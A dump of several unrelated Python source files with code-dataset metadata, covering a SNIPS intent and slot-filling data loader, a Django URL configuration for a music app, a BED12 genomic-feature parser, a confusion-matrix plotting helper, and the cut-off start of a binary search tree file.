self.__dataSetPath = dataSetPath\n print(\"[INFO] RawDataSetSnipsJson initialization: Reading data from: \", self.__dataSetPath)\n\n # member variable initialization\n self.__queryNum = -1 # utterance count\n self.__classLabelNum = -1 # class label count\n self.__seqLabelNum = -1 # sequence label, or, slot filling, label count\n self.__classLabList = None # class label list, queryCount*1 vector\n self.__queryList = None # query list, 2-dimensional list, queryCount * wordCount\n self.__seqBIOLabList = None # sequence label list, 2-dimensional list, queryCount * seqLabelCount\n self.__classLabSet = None # class/intent label set, collecting all uniques class labels\n self.__seqLabSet = None # sequence/slotFilling label set, collecting all unique sequence labels\n self.__clsLab2CountDict = None # class label to count dict: label -> count\n\n # read file\n with open(self.__dataSetPath) as f:\n rawData = json.load(f)\n print(\"[INFO] RawDataSetSnipsJson initialization: %d data items are read!\" % (len(rawData)))\n\n # read all data in, in raw text\n # static string. Key names in json file\n jsonQuery = \"query\"\n jsonSeqLabel = \"seqLabel\"\n jsonClassLabel = \"classLabel\"\n # read all query\n self.__queryList = [item[jsonQuery].lower().split(\" \") for item in rawData]\n # read all class label and lower their case\n self.__classLabList = [item[jsonClassLabel].lower() for item in rawData]\n # read all BIO label sequence\n self.__seqBIOLabList = [item[jsonSeqLabel].lower().split(\" \") for item in rawData]\n\n # sort data, according to intent labels, for the convenience of later processing\n self.__sortDataByIntentLabel()\n\n # update statistics: number of queries, class labels and sequence labels\n self.__calculateStatistics()\n\n def getQueryDataList(self, batchDataIndexList):\n '''\n @param batchDataIndexList: a list of index, say, [4,3,1,0,11]\n @return:\n a list containing queries of index in input list\n type: list\n shape: len(batchDataIndexList) * X, X denoting variable length of different queries\n '''\n return [self.__queryList[i] for i in batchDataIndexList]\n\n def getClassLabDataList(self, batchDataIndexList):\n '''\n @param batchDataIndexList: a list of index, say, [4,3,1,0,11]\n @return:\n a list containing class labels of index in input list\n type: list\n shape: len(batchDataIndexList) * 1\n '''\n return [self.__classLabList[i] for i in batchDataIndexList]\n\n def getSeqLabDataList(self, batchDataIndexList):\n '''\n @param batchDataIndexList: a list of index, say, [4,3,1,0,11]\n @return:\n a list containing sequence labels of index in input list\n type: list\n shape: len(batchDataIndexList) * X, X denoting variable length of different queries\n '''\n return [self.__seqBIOLabList[i] for i in batchDataIndexList]\n\n def __sortDataByIntentLabel(self):\n '''\n sort all data according to class/intent label.\n :return:\n Impact on class members:\n self.__classLabList: sorted result\n self.__queryList: sorted result\n self.__seqBIOLabList: sorted result\n\n exit status\n '''\n # data sanity check\n numClass = len(self.__classLabList)\n numQuries = len(self.__queryList)\n numSeqLab = len(self.__seqBIOLabList)\n if not (numClass == numQuries and numQuries == numSeqLab):\n print (\"[ERROR] raw data set snips, sort data by intent: inconsistent data lengths!\")\n return STATUS_FAIL\n\n # zip class labels, queries and sequence labels together\n zippedData = zip(self.__classLabList, self.__queryList, self.__seqBIOLabList)\n\n # sorting\n zippedData = sorted(zippedData)\n\n # extract sort result\n self.__classLabList = [classLab for classLab, _, _ in zippedData]\n self.__queryList = [query for _, query, _ in zippedData]\n self.__seqBIOLabList = [seqLab for _, _, seqLab in zippedData]\n return STATUS_OK\n\n def __calculateStatistics(self):\n '''\n calculate statistics of this data set\n :return:\n Impact on class members:\n self.__queryNum\n self.__classLabelNum\n self.__seqLabelNum\n '''\n self.__queryNum = len(self.__queryList)\n self.__classLabelNum = len(set(self.__classLabList))\n self.__calculateSeqLabelNum()\n\n def __calculateSeqLabelNum(self):\n \"\"\"\n calculate sequence label number: how many different sequence label is here\n :return:\n Impact on class members:\n self.__seqLabelNum\n \"\"\"\n seqLabSet = set()\n for sequence in self.__seqBIOLabList:\n for label in sequence:\n seqLabSet.add(label)\n self.__seqLabelNum = len(seqLabSet)\n\n def getQueryNum(self):\n return self.__queryNum\n\n def getClassLabelNum(self):\n return self.__classLabelNum\n\n def getSeqLabelNum(self):\n return self.__seqLabelNum\n\n def generateSimpleSeqLabelList(self):\n '''\n generate simple sequence label, from raw data. BIO symbol is removed. '_' is removed.\n Example: i-entity_name --> entityname\n :return:\n STATUS:\n exit status\n type: int\n simpleSeqLabel:\n simplified sequence labels\n type: 2-dimension list, setence*word\n '''\n simpleSeqLabel = []\n\n # change i-entity_name into entity_name\n # o is kept\n seqNum = len(self.__seqBIOLabList)\n for i in range(seqNum):\n simpleSeqLabel.append([re.sub(\"(b|i|o)-\", \"\", word) for word in self.__seqBIOLabList[i]])\n\n # remove all '-' in sequence label\n seqNum = len(simpleSeqLabel)\n for i in range(seqNum):\n simpleSeqLabel[i] = [re.sub(\"_\", \"\", label) for label in simpleSeqLabel[i]]\n\n return STATUS_OK, simpleSeqLabel\n\n def getClassLabelSet(self):\n \"\"\"\n get class label set\n @return:\n classLabelSet:\n Type: class 'set'\n Shape: N*1, N denoting unique class label number\n @attention:\n Impact on following members:\n self.__classLabSet\n \"\"\"\n if self.__classLabSet == None:\n self.__classLabSet = set(self.__classLabList)\n # sort it before output to avoid run2run difference\n #self.__classLabSet = sorted(self.__classLabSet)\n return self.__classLabSet\n\n def getSeqLabelSet(self):\n \"\"\"\n get sequence label set\n @return:\n sequence label set:\n Type: class 'set'\n Shape: N, N denoting unique sequence label count\n @attention:\n Impact on following members:\n self.__seqLabSet\n \"\"\"\n if self.__seqLabSet == None: # if it's None, let's fill it up\n # loop each element of simple sequence label list\n self.__seqLabSet = set()\n for sentence in self.__seqBIOLabList:\n for seqLab in sentence:\n self.__seqLabSet.add(seqLab)\n\n # sort it before output to avoid run2run difference\n #self.__seqLabSet = sorted(self.__seqLabSet)\n return self.__seqLabSet\n\n def queryDataAmountForClass(self, label):\n \"\"\"\n @param label: label to query.\n @return:\n number of data belongs to given label.\n @attention:\n No impact on member variable.\n \"\"\"\n return self.__classLabList.count(label)\n\n def splitDataTwoParts(self, ratioList):\n '''\n @param ratioList: ratioList according to which, data is split. For example:\n [0.6, 0.4]\n @return:\n (exit_status, partList1, partList2):\n exit_status: ...\n partList1: a list of index, belonging to part1\n partList2: a list of index, belonging to part2\n @attention:\n No impact on members.\n '''\n # data sanity check\n if not(len(ratioList) == 2):\n print (\"[ERROR] RawDataSetSnipsJson, split data into two parts: ratio items should be 2,\\\n but it's not!\")\n return STATUS_FAIL\n if not Utils.isEqualFloat(sum(ratioList),1):\n print (\"[ERROR] RawDataSetSnipsJson, split data into two parts: ratio sum is not 1!\")\n return STATUS_FAIL\n\n # initialize result\n resultPart1 = []\n resultPart2 = []\n\n # split data\n # calculate data amount for each class/intent label\n dataAmount = {} # class/intent label name --> data amount\n classLabelSet = self.getClassLabelSet()\n for uniqueLab in classLabelSet:\n dataAmount[uniqueLab] = self.queryDataAmountForClass(uniqueLab)\n # collect available index\n for uniqueLab in classLabelSet:\n # start index of current class/intent label\n indexStart = self.__classLabList.index(uniqueLab)\n\n # split data amount into two parts. For example: 10 = 4 + 6\n rt, dataAmountSplit = Utils.splitIntByRatio(dataAmount[uniqueLab], ratioList)\n if not(rt == STATUS_OK):\n print (\"[ERROR] RawDataSetSnipsJson, fail to split data into two parts!\")\n return STATUS_FAIL, None, None\n\n # extract data amount of part1 and part2\n part1Count= dataAmountSplit[0]\n part2Count = dataAmountSplit[1]\n\n # assemble index set for part1 and part2\n # part1\n for i in range(part1Count):\n resultPart1.append(indexStart + i)\n #part2\n for i in range(part2Count):\n resultPart2.append(indexStart + part1Count + i)\n\n # sanity check\n if not ((len(resultPart1) + len(resultPart2)) == self.__queryNum):\n print(\"[ERROR] RawDataSetSnipsJson, fail to split data into two parts! sum(part) != class label numebr.\")\n return STATUS_FAIL, None, None\n\n # sanity check, more\n if not (((len(resultPart1)/self.__classLabelNum) - ratioList[0]) >= 0.15):\n print(\"[WARNING] RawDataSetSnipsJson. Split data is not consistent to designed ratio!\")\n print(\"[WARNING] RawDataSetSnipsJson. Designed ratio is: \")\n print (ratioList)\n print(\"[WARNING] RawDataSetSnipsJson. Split data result is: %d : %d\"%(len(resultPart1),\n len(resultPart2)))\n return STATUS_FAIL, resultPart1, resultPart2\n\n # return\n return STATUS_OK, resultPart1, resultPart2\n\n def queryClassLab(self, dataAbsIndex):\n '''\n query class labels for given dataAbsIndex\n @param dataAbsIndex: integer, for example, 5\n @return:\n classLabel\n type: string\n '''\n return self.__classLabList[dataAbsIndex]\n\n def querySeqLabList(self, dataAbsIndex):\n '''\n query sequence labels for given dataAbsIndex\n @param dataAbsIndex: integer, for example, 5\n @return: seqLaebls\n type: list of string\n '''\n return self.__seqBIOLabListp[dataAbsIndex]\n\n def getSeqLabCountDict(self):\n '''\n get sequence label count dict, say, 'B-entity_name' --> 68\n @return: a dict: sequence label name --> count\n '''\n return None\n\n def getClsLabCountDict(self):\n '''\n get simple sequence labels count, in dict\n @return: a dict, label --> count\n '''\n # check cache\n if not self.__clsLab2CountDict == None:\n return self.__clsLab2CountDict\n\n # initialize lab2Count dict\n self.__clsLab2CountDict = {}\n for lab in self.__classLabList:\n self.__clsLab2CountDict[lab] = 0\n\n # count\n for clsLab in self.__classLabList:\n self.__clsLab2CountDict[clsLab] = self.__clsLab2CountDict[clsLab] + 1\n\n return self.__clsLab2CountDict\n","repo_name":"xuandif-cmu/ZSJ-NLU","sub_path":"attentionTest/Dataset.py","file_name":"Dataset.py","file_ext":"py","file_size_in_byte":39662,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"11511028106","text":"\nfrom django.urls import path\nfrom . import views\nfrom django.conf.urls import include\n\nurlpatterns = [\n path('', views.home, name='home'),\n path('about/', views.about, name='about'),\n path('accounts/', include('django.contrib.auth.urls')),\n \n # ROUTES FOR MUSIC INDEX\n path('music/', views.music_index, name='index'),\n path('music/index.html', views.music_index, name='index'),\n path('music//', views.music_details, name='details'),\n\n #NEW ROUTE TO CREATE MUSIC\n path('music/create/', views.MusicCreate.as_view(), name='music_create'),\n\n #NEW ROUTE TO UPDATE AND DELETE MUSIC\n path('music//update/', views.MusicUpdate.as_view(), name='music_update'),\n path('music//delete/', views.MusicDelete.as_view(), name='music_delete'),\n\n #NEW USER ROUTE\n path('accounts/signup/', views.signup, name='signup'), \n]\n\n\n","repo_name":"hsimma0/CyberMusic","sub_path":"main_app/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":851,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"9115510555","text":"# coding: utf-8\n\n\"\"\"\nModule to parse BED12 objects. Much more basic than what PyBedtools could offer,\nbut at the same time more pythonic.\n\"\"\"\n\n\nimport random\nimport os\nfrom Bio import SeqIO\nimport Bio.SeqRecord\nfrom . import Parser\nfrom sys import intern\nimport copy\nfrom ..parsers.GFF import GffLine\n\n\n# These classes do contain lots of things, it is correct like it is\n# pylint: disable=too-many-instance-attributes\nclass BED12:\n\n \"\"\"\n BED12 parsing class.\n \"\"\"\n\n def __init__(self, *args: str,\n fasta_index=None,\n transcriptomic=False,\n max_regression=0):\n\n \"\"\"\n :param args: the BED12 line.\n :type args: str\n\n :param fasta_index: Optional FAI index\n\n :param transcriptomic: boolean flag\n :type transcriptomic: bool\n\n Constructor method.\n\n Each instance will have:\n\n :param chrom: chromosome\n :type chrom: str\n\n :param header: whether the line is a header line or not\n :type header: bool\n\n :param start: start position\n :type start: int\n\n :param end: end position\n :type end: int\n\n :param name: Name of the feature\n :type name: str\n\n :param score: score assigned to the feature.\n :type score: float\n :type score: None\n\n :param strand of the feature\n\n :param thickStart: \"internal\" start of the feature (e.g. CDS start)\n :type thickStart: int\n\n :param thickEnd: \"internal\" end of the feature (e.g. CDS end)\n :type thickEnd: int\n\n :param rgb: RGB color scheme. Currently not checked\n :type rgb: str\n\n :param blockCount: number of blocks (e.g. exons)\n :type blockCount: int\n\n :param blockSizes: sizes of the blocks (e.g. exons). Its length must be equal to blockCount\n :type blockSizes: list(int)\n\n :param blockStarts: list of start positions for the blocks.\n Its length must be equal to blockCount\n :type blockStarts: list(int)\n\n Additional parameters calculated inside the class:\n\n :param fasta_length: length of the feature (see len() method)\n :type fasta_length: int\n\n :param has_start_codon: flag. For transcriptomic BED12, it indicates\n whether we have a start codon or not.\n :type has_start_codon: bool\n\n :param has_stop_codon: flag. For transcriptomic BED12, it indicates\n whether we have a stop codon or not.\n :type has_stop_codon: bool\n\n :param start_codon: string of the start codon, if found\n :type start_codon: None\n :type start_codon: str\n\n :param stop_codon: string of the stop codon, if found\n :type stop_codon: None\n :type stop_codon: str\n \"\"\"\n\n self._line = None\n self.__phase = None # Initialize to None for the non-transcriptomic objects\n self.__has_start = False\n self.__has_stop = False\n self.__transcriptomic = False\n self.transcriptomic = transcriptomic\n self.__strand = None\n self.__max_regression = 0\n # This value will be set when checking for the internal sequence\n # If >=1, i.e. at least one internal stop codon, the ORF is invalid\n self.__internal_stop_codons = 0\n self.chrom = None\n self.start = self.end = self.thick_start = self.thick_end = 0\n self.name = \"\"\n self.score = 0\n self.strand = None\n self.rgb = ''\n self.block_sizes = [0]\n self.block_starts = [0]\n self.block_count = 1\n self.invalid_reason = ''\n self.fasta_length = None\n self.__in_index = True\n self.max_regression = max_regression\n\n if len(args) == 0:\n self.header = True\n return\n\n self._line = args[0]\n if isinstance(self._line, str) or self._line is None:\n if self._line is None:\n self._line = ''\n self._line = self._line.rstrip()\n if len(self._line) == 0 or self._line[0] == \"#\":\n self.header = True\n return\n self._fields = self._line.split(\"\\t\")\n if len(self._fields) == 12:\n self.__set_values_from_fields()\n self.header = False\n else:\n self.header = True\n return\n elif isinstance(self._line, GffLine):\n if self._line.header is True:\n self.header = True\n return\n elif self.transcriptomic is False:\n raise TypeError(\n \"GFF lines can be used as BED12-equivalents only in a transcriptomic context.\")\n else:\n self.header = False\n fasta_length = len(fasta_index[self._line.chrom])\n self.__set_values_from_gff(fasta_length)\n\n elif not (isinstance(self._line, list) or isinstance(self._line, tuple)):\n raise TypeError(\"I need an ordered array, not {0}\".format(type(self._line)))\n\n self.__check_validity(transcriptomic, fasta_index)\n\n def __set_values_from_fields(self):\n\n \"\"\"\n Private method that sets the correct values from the fields derived from the input line.\n :return:\n \"\"\"\n self.chrom, self.start, self.end, \\\n self.name, self.score, self.strand, \\\n self.thick_start, self.thick_end, self.rgb, \\\n self.block_count, block_sizes, block_starts = self._fields\n\n # Reduce memory usage\n intern(self.chrom)\n self.start = int(self.start) + 1\n self.end = int(self.end)\n self.score = float(self.score)\n self.thick_start = int(self.thick_start) + 1\n self.thick_end = int(self.thick_end)\n self.block_count = int(self.block_count)\n self.block_sizes = [int(x) for x in block_sizes.split(\",\")]\n self.block_starts = [int(x) for x in block_starts.split(\",\")]\n self.has_start_codon = None\n self.has_stop_codon = None\n self.start_codon = None\n self.stop_codon = None\n self.fasta_length = len(self)\n return\n\n def __set_values_from_gff(self, fasta_length):\n \"\"\"\n Private method that sets the correct values from the fields derived from an input GFF line.\n :return:\n \"\"\"\n\n (self.chrom, self.thick_start,\n self.thick_end, self.strand, self.name) = (self._line.chrom,\n self._line.start,\n self._line.end, self._line.strand, self._line.id)\n intern(self.chrom)\n assert self.name is not None\n self.start = 1\n self.end = fasta_length\n self.score = self._line.score\n self.rgb = None\n self.block_count = 1\n self.block_sizes = [self.thick_end - self.thick_start +1]\n self.block_starts = [self.thick_start]\n self.has_start_codon = None\n self.has_stop_codon = None\n self.start_codon = None\n self.stop_codon = None\n self.fasta_length = fasta_length\n return\n\n def __check_validity(self, transcriptomic, fasta_index):\n \"\"\"\n Private method that checks that the BED12 object has been instantiated correctly.\n\n :return:\n \"\"\"\n\n if transcriptomic is True:\n self.has_start_codon = False\n self.has_stop_codon = False\n\n # if self.strand == \"-\":\n # self.thick_end -= 3\n\n if transcriptomic is True and fasta_index is not None:\n if self.id not in fasta_index:\n self.__in_index = False\n return\n\n self.fasta_length = len(fasta_index[self.id])\n if self.invalid is True:\n return\n sequence = fasta_index[self.id].seq\n\n if self.strand == \"+\":\n orf_sequence = sequence[(self.thick_start - 1):self.thick_end]\n elif self.strand == \"-\":\n orf_sequence = sequence[(self.thick_start - 1):self.thick_end].reverse_complement()\n else:\n pass\n\n self.start_codon = str(orf_sequence)[:3].upper()\n self.stop_codon = str(orf_sequence[-3:]).upper()\n\n if self.start_codon == \"ATG\":\n self.has_start_codon = True\n self.phase = 0\n else:\n # We are assuming that if a methionine can be found it has to be\n # internally, not externally, to the ORF\n self.has_start_codon = False\n\n for pos in range(3,\n int(len(orf_sequence) * self.max_regression),\n 3):\n if orf_sequence[pos:pos+3] == \"ATG\":\n # Now we have to shift the start accordingly\n self.has_start_codon = True\n if self.strand == \"+\":\n self.thick_start += pos\n else:\n # TODO: check that this is right and we do not have to do some other thing\n self.thick_end -= pos\n break\n else:\n continue\n if self.has_start_codon is False:\n # The validity will be automatically checked\n if self.strand == \"+\":\n self.phase = self.thick_start - 1\n self.thick_start = 1\n else:\n if self.end - self.thick_end <= 2:\n self.phase = self.end - self.thick_end\n self.thick_end = self.end\n else:\n self.phase = 0\n\n if self.stop_codon in (\"TAA\", \"TGA\", \"TAG\"):\n self.has_stop_codon = True\n else:\n self.has_stop_codon = False\n # Expand the ORF to include the end of the sequence\n if self.end - self.thick_end <= 2:\n self.thick_end = self.end\n\n translated_seq = orf_sequence[:-3].translate()\n self.__internal_stop_codons = str(translated_seq).count(\"*\")\n\n if self.invalid is True:\n return\n\n def __str__(self):\n\n if self.header is True:\n if self._line is not None:\n return self._line\n else:\n return \"#\"\n\n line = [self.chrom, self.start - 1, self.end, self.name]\n if not self.score:\n line.append(0)\n else:\n line.append(self.score)\n if self.strand is None:\n line.append(\".\")\n else:\n line.append(self.strand)\n line.extend([self.thick_start - 1, self.thick_end])\n if not self.rgb:\n line.append(0)\n else:\n line.append(self.rgb)\n line.append(self.block_count)\n line.append(\",\".join([str(x) for x in self.block_sizes]))\n line.append(\",\".join([str(x) for x in self.block_starts]))\n return \"\\t\".join([str(x) for x in line])\n\n def __eq__(self, other):\n for key in [\"chrom\", \"strand\", \"start\",\n \"end\", \"thick_start\", \"thick_end\",\n \"block_count\", \"block_sizes\",\n \"block_starts\"]:\n if getattr(self, key) != getattr(other, key):\n return False\n return True\n\n def __hash__(self):\n return super().__hash__()\n\n def __len__(self):\n return self.end - self.start + 1\n\n def copy(self):\n\n return copy.deepcopy(self)\n\n @property\n def strand(self):\n \"\"\"\n Strand of the feature. It must be one of None,+,-\n :rtype None | str\n \"\"\"\n return self.__strand\n\n @strand.setter\n def strand(self, strand: str):\n \"\"\"\n Setter for strand. It verifies that the value is correct.\n :param strand: New strand value\n :type strand: str | None\n \"\"\"\n\n if strand in (\".\", \"?\", None):\n self.__strand = None\n elif strand in (\"+\", \"-\"):\n self.__strand = strand\n else:\n raise ValueError(\"Erroneous strand provided: {0}\".format(self.strand))\n\n @property\n def cds_len(self):\n \"\"\"\n Return the length of the internal feature i.e. the CDS:\n thickEnd-thickStart+1\n\n :rtype int\n \"\"\"\n return self.thick_end - self.thick_start + 1\n\n @property\n def has_start_codon(self):\n \"\"\"\n Property. True if the interval contains a start codon.\n :rtype bool\n :rtype None\n \"\"\"\n\n return self.__has_start\n\n @has_start_codon.setter\n def has_start_codon(self, value: bool):\n \"\"\"\n Setter for has_stop_codon. Valid values are boolean or None\n :param value: boolean flag\n :type value: bool\n :type value: None\n \"\"\"\n\n if value not in (None, True, False):\n raise ValueError()\n self.__has_start = value\n\n @property\n def has_stop_codon(self):\n \"\"\"\n Property. True if the interval contains a termination codon.\n :rtype bool\n :rtype None\n \"\"\"\n return self.__has_stop\n\n @has_stop_codon.setter\n def has_stop_codon(self, value: bool):\n \"\"\"\n Setter for has_stop_codon. Valid values are boolean.\n :param value: boolean flag\n :type value: bool\n :type value: None\n \"\"\"\n if value not in (None, True, False):\n raise ValueError()\n self.__has_stop = value\n\n @property\n def full_orf(self):\n \"\"\"\n Property. True if the BED12 is transcriptomic and has\n both start and stop codon, False otherwise.\n :rtype bool\n \"\"\"\n return self.has_stop_codon and self.has_start_codon\n\n # pylint: disable=invalid-name\n @property\n def id(self):\n \"\"\"\n Property. It returns the name of the feature.\n :rtype str\n \"\"\"\n\n if self.transcriptomic is True:\n return self.chrom\n else:\n return self.name\n # pylint: enable=invalid-name\n\n @property\n def invalid(self):\n \"\"\"\n Property. It performs basic checks on the BED line to verify its integrity.\n :rtype bool\n \"\"\"\n\n if self.__internal_stop_codons >= 1:\n self.invalid_reason = \"{} internal stop codons found\".format(self.__internal_stop_codons)\n return True\n\n if self.transcriptomic is True and self.__in_index is False:\n self.invalid_reason = \"{} not found in the index!\".format(self.chrom)\n return True\n\n assert isinstance(self.thick_start, int)\n assert isinstance(self.thick_end, int)\n assert isinstance(self.start, int)\n assert isinstance(self.end, int)\n\n if self.thick_start < self.start or self.thick_end > self.end:\n if self.thick_start == self.thick_end == self.block_sizes[0] == 0:\n pass\n else:\n invalid = \"thickStart {0} self.end)\n return True\n\n if self.fasta_length is None:\n self.fasta_length = len(self)\n\n if len(self) != self.fasta_length:\n self.invalid_reason = \"Fasta length != BED length: {0} vs. {1}\".format(\n self.fasta_length,\n len(self)\n )\n return True\n\n if self.transcriptomic is True and (self.cds_len - self.phase) % 3 != 0 and self.thick_end != self.end:\n self.invalid_reason = \"Invalid CDS length: {0} % 3 = {1}\".format(\n self.cds_len,\n self.cds_len % 3\n )\n return True\n\n self.invalid_reason = ''\n return False\n\n @property\n def transcriptomic(self):\n \"\"\"\n Flag. If set to True, it indicates the BED contains\n transcriptomic rather than genomic coordinates.\n :rtype bool\n \"\"\"\n return self.__transcriptomic\n\n @transcriptomic.setter\n def transcriptomic(self, value):\n \"\"\"\n Setter for transcriptomic. A valid value must be boolean.\n :type value: bool\n \"\"\"\n\n if not isinstance(value, bool):\n raise ValueError(\"Invalid value: {0}\".format(value))\n self.__transcriptomic = value\n if value and self.phase is None:\n self.phase = 0\n elif not value:\n self.phase = None\n\n @property\n def phase(self):\n \"\"\"This property is used for transcriptomic BED objects\n and indicates what the phase of the transcript is.\n So a BED object with an open 5'ORF whose first codon\n starts at the 1st base would have frame 1, at the second\n frame 2. In all other cases, the frame has to be 0.\n If the BED object is not transcriptomic, its frame is null\n (None).\n \"\"\"\n\n return self.__phase\n\n @phase.setter\n def phase(self, val):\n\n if val not in (None, 0, 1, 2):\n raise ValueError(\"Invalid frame specified for {}: {}. Must be None or 0, 1, 2\".format(\n self.name, val))\n elif self.transcriptomic is True and val not in (0, 1, 2):\n raise ValueError(\"A transcriptomic BED cannot have null frame.\")\n self.__phase = val\n\n @property\n def _max_regression(self):\n \"\"\"\n This property is used to indicate how far downstream we should go in the\n FASTA sequence to find a valid start codon, in terms of percentage\n of the the cDNA sequence. So eg in a 300 nt cDNA a max_regression value\n of 0.3 would instruct the class to look only for the first 90 bps for\n a Met.\n \"\"\"\n\n return self.__max_regression\n\n @_max_regression.setter\n def _max_regression(self, value):\n if not (isinstance(value, (int, float)) and 0 <= value <= 1):\n raise ValueError(\n \"Invalid value specified for _max_regression (must be between 0 and 1): {}\".format(value))\n self.__max_regression = value\n\n def expand(self, sequence, upstream, downstream):\n\n \"\"\"This method will expand a \"\"\"\n # assert len(sequence) >= len(self)\n assert len(sequence) == len(self) + upstream + downstream, (len(sequence),\n len(self),\n upstream,\n downstream,\n len(self) + upstream + downstream)\n if len(self) == len(sequence):\n return\n if self.transcriptomic is False:\n raise ValueError(\"I cannot expand a non-transcriptomic BED12!\")\n if self.strand == \"-\":\n raise NotImplementedError(\"I can only expand ORFs on the sense strand for the moment\")\n\n self.fasta_length = len(sequence)\n\n # I presume that the sequence is already in the right orientation\n\n old_sequence = sequence[upstream:len(self) + upstream]\n\n self.start_codon = str(old_sequence[self.thick_start + self.phase:self.thick_start + self.phase + 3]).upper()\n last_codon_start = self.thick_end + ((self.thick_end - self.thick_start + 1 + self.phase) % 3 - 3)\n\n self.stop_codon = str(old_sequence[last_codon_start:self.thick_end]).upper()\n\n assert len(self.stop_codon) <= 3 and len(self.stop_codon) > 0, self.stop_codon\n\n # Now expand\n self.end = len(sequence)\n self.thick_start += upstream\n self.thick_end += upstream\n last_codon_start += upstream\n if self.start_codon != \"ATG\":\n for pos in range(self.thick_start - self.phase,\n 0,\n -3):\n codon = sequence[pos:pos + 3]\n self.thick_start = pos\n if codon == \"ATG\":\n # self.thick_start = pos\n self.start_codon = codon\n self.__has_start = True\n break\n\n if self.start_codon != \"ATG\":\n self.phase = self.thick_start % 3\n self.thick_start = 1\n else:\n self.phase = 0\n self.__has_start = True\n\n if self.stop_codon not in (\"TAA\", \"TGA\", \"TAG\"):\n for pos in range(last_codon_start,\n self.end,\n 3):\n codon = sequence[pos:pos + 3]\n if codon in (\"TAA\", \"TGA\", \"TAG\"):\n self.thick_end = pos + 3\n self.stop_codon = codon\n self.__has_stop = True\n break\n if self.stop_codon not in (\"TAA\", \"TGA\", \"TAG\"):\n self.thick_end = self.end\n\n\n self.block_sizes = [self.thick_end - self.thick_start]\n self.block_starts = [self.thick_start]\n\n return\n\n\nclass Bed12Parser(Parser):\n \"\"\"Parser class for a Bed12Parser file.\n It accepts optionally a fasta index which is used to\n determine whether an ORF has start/stop codons.\"\"\"\n\n def __init__(self, handle,\n fasta_index=None,\n transcriptomic=False,\n max_regression=0,\n is_gff=False):\n \"\"\"\n Constructor method.\n :param handle: the input BED file.\n\n :param fasta_index: optional FAI file\n\n :param transcriptomic: flag. If set to True, it indicates\n that the BED file contains ORF information (like that derived\n from transdecoder) and is in transcriptomic rather than genomic coordinates.\n :type transcriptomic: bool\n\n :param max_regression: parameter to pass directly to BED12, indicating how much\n we should backtrack in the sequence to find a valid start codon\n \"\"\"\n\n Parser.__init__(self, handle)\n self.transcriptomic = transcriptomic\n self.__max_regression = 0\n self._max_regression = max_regression\n\n if isinstance(fasta_index, dict):\n # check that this is a bona fide dictionary ...\n assert isinstance(\n fasta_index[random.sample(fasta_index.keys(), 1)],\n Bio.SeqRecord.SeqRecord)\n elif fasta_index is not None:\n if isinstance(fasta_index, str):\n assert os.path.exists(fasta_index)\n fasta_index = SeqIO.index(fasta_index, \"fasta\")\n else:\n assert \"SeqIO\" in repr(fasta_index) and \"index\" in repr(fasta_index)\n\n self.fasta_index = fasta_index\n self.__closed = False\n self.header = False\n self._is_bed12 = (not is_gff)\n\n def __iter__(self):\n return self\n\n def __next__(self):\n\n if self._is_bed12 is True:\n return self.bed_next()\n else:\n return self.gff_next()\n\n def bed_next(self):\n \"\"\"\n\n :return:\n \"\"\"\n\n bed12 = None\n while bed12 is None:\n line = self._handle.readline()\n if line == '':\n raise StopIteration\n bed12 = BED12(line,\n fasta_index=self.fasta_index,\n transcriptomic=self.transcriptomic,\n max_regression=self._max_regression)\n return bed12\n\n def gff_next(self):\n \"\"\"\n\n :return:\n \"\"\"\n\n bed12 = None\n while bed12 is None:\n line = self._handle.readline()\n if line == \"\":\n raise StopIteration\n line = GffLine(line)\n\n if line.feature != \"CDS\":\n continue\n # Compatibility with BED12\n bed12 = BED12(line,\n fasta_index=self.fasta_index,\n transcriptomic=self.transcriptomic,\n max_regression=self._max_regression)\n # raise NotImplementedError(\"Still working on this!\")\n return bed12\n\n def close(self):\n if self.__closed is False:\n self._handle.close()\n self.__closed = True\n\n @property\n def _max_regression(self):\n \"\"\"\n This property is used to indicate how far downstream we should go in the\n FASTA sequence to find a valid start codon, in terms of percentage\n of the the cDNA sequence. So eg in a 300 nt cDNA a max_regression value\n of 0.3 would instruct the class to look only for the first 90 bps for\n a Met.\n \"\"\"\n\n return self.__max_regression\n\n @_max_regression.setter\n def _max_regression(self, value):\n if not (isinstance(value, (int, float)) and 0 <= value <= 1):\n raise ValueError(\n \"Invalid value specified for _max_regression (must be between 0 and 1): {}\".format(value))\n self.__max_regression = value","repo_name":"Shabhonam/Mikado","sub_path":"Mikado/parsers/bed12.py","file_name":"bed12.py","file_ext":"py","file_size_in_byte":25502,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"33380058210","text":"import itertools\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nfrom mlflow.tracking.client import MlflowClient\nfrom os.path import join\nfrom sklearn.metrics import confusion_matrix\n\ndef save_confusion_matrix(labels, preds, classes):\n mlflow_client = MlflowClient()\n img_name = 'confusion_matrix.jpg'\n # making confusion matrix\n # label_name=['plane', 'car', 'bird', 'cat', 'deer', 'dog', 'frog', 'horse', 'ship', 'truck']\n label_name = list(range(len(classes)))\n conf_matrix = confusion_matrix(labels, preds, label_name, normalize='true')\n # plot and save\n fig_conf_matrix = plt.figure()\n plt.imshow(conf_matrix, cmap=plt.cm.Blues)\n plt.colorbar()\n tick_marks = np.arange(len(classes))\n plt.xticks(tick_marks, classes, rotation=45)\n plt.yticks(tick_marks, classes)\n\n thresh = conf_matrix.max() / 2.\n for i, j in itertools.product(range(conf_matrix.shape[0]), range(conf_matrix.shape[1])):\n plt.text(j, i, format(conf_matrix[i, j], '.2f'),\n horizontalalignment='center',\n color='white' if conf_matrix[i, j] > thresh else 'black')\n plt.tight_layout()\n plt.subplots_adjust(bottom=0.2)\n plt.xlabel('Pred Label')\n plt.ylabel('Ground Truth')\n\n return fig_conf_matrix\n","repo_name":"Kenkentake/imbalanced_classification","sub_path":"utils/save_confusion_matrix.py","file_name":"save_confusion_matrix.py","file_ext":"py","file_size_in_byte":1266,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"16143076370","text":"# !/usr/bin/python\n# -*- coding: utf-8 -*-\n\n\n# 二叉搜索树的查找 插入 删除 实现\n# 首先,我们需要定义一个二叉搜索树的节点类,它包含一个值和两个子节点。\n\n# 